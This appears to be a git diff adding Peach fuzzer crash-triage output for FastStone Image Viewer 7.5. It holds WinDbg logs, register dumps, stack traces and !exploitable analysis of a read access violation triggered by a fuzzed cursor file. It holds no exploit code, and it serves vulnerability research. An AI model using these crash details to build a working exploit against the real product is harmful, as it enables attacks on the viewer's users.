14f7ff2c image00000000_00400000+0x4d05d5 +14f7ff2c 0042c0bf 14f7ff40 0042c0c9 14f7ff5c image00000000_00400000+0x4d0991 +14f7ff5c 00404c22 14f7ffcc 0040475c 14f7ff70 image00000000_00400000+0x2c0bf +14f7ff70 7572f989 0800bec0 7572f970 14f7ffdc image00000000_00400000+0x4c22 +14f7ff80 770b7084 0800bec0 5d35c9c7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f7ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f7ffec 00000000 00404bf8 0800bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f80002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f567119 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x910: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x910: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(910.1af0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f80002 ebx=0000021e ecx=07f08180 edx=000005a6 esi=1274ac40 edi=0da8afd4 +eip=005bdfc9 esp=14f7f868 ebp=14f7fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f80002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.522544496639589040000e+0017 st5= 8.522546214626507680000e+0017 +st6= 8.522547932613426320000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f80002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f80002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f7fd10 0060d6fc 00000000 14f7fd78 14f7fd48 image00000000_00400000+0x1bdfc9 +14f7fd88 005ff93f 14f7fde8 005ffbc2 14f7fde0 image00000000_00400000+0x20d6fc +14f7fde0 0090e28b 14f7fdf4 0090e3b5 14f7fe38 image00000000_00400000+0x1ff93f +14f7fe38 0090efea 14f7fea4 14f7fea8 14f7feac image00000000_00400000+0x50e28b +14f7fec0 008d05d5 14f7fed4 008d06ab 14f7ff00 image00000000_00400000+0x50efea +14f7ff00 008d0991 14f7ff14 008d0a43 14f7ff2c image00000000_00400000+0x4d05d5 +14f7ff2c 0042c0bf 14f7ff40 0042c0c9 14f7ff5c image00000000_00400000+0x4d0991 +14f7ff5c 00404c22 14f7ffcc 0040475c 14f7ff70 image00000000_00400000+0x2c0bf +14f7ff70 7572f989 0800bec0 7572f970 14f7ffdc image00000000_00400000+0x4c22 +14f7ff80 770b7084 0800bec0 5d35c9c7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f7ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f7ffec 00000000 00404bf8 0800bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f80002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1f6fe99 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..e7066c7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014fc0002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..622f626 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..afaca85 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xAF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xAF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bc0000 00000000`74be8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74a1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a20000 00000000`74bba000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e90000 00000000`13f6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(af0.364): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f90002 ebx=0000061e ecx=07f08180 edx=000005a6 esi=12824370 edi=0da6afd4 +eip=005bdfc9 esp=14f8f868 ebp=14f8fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: 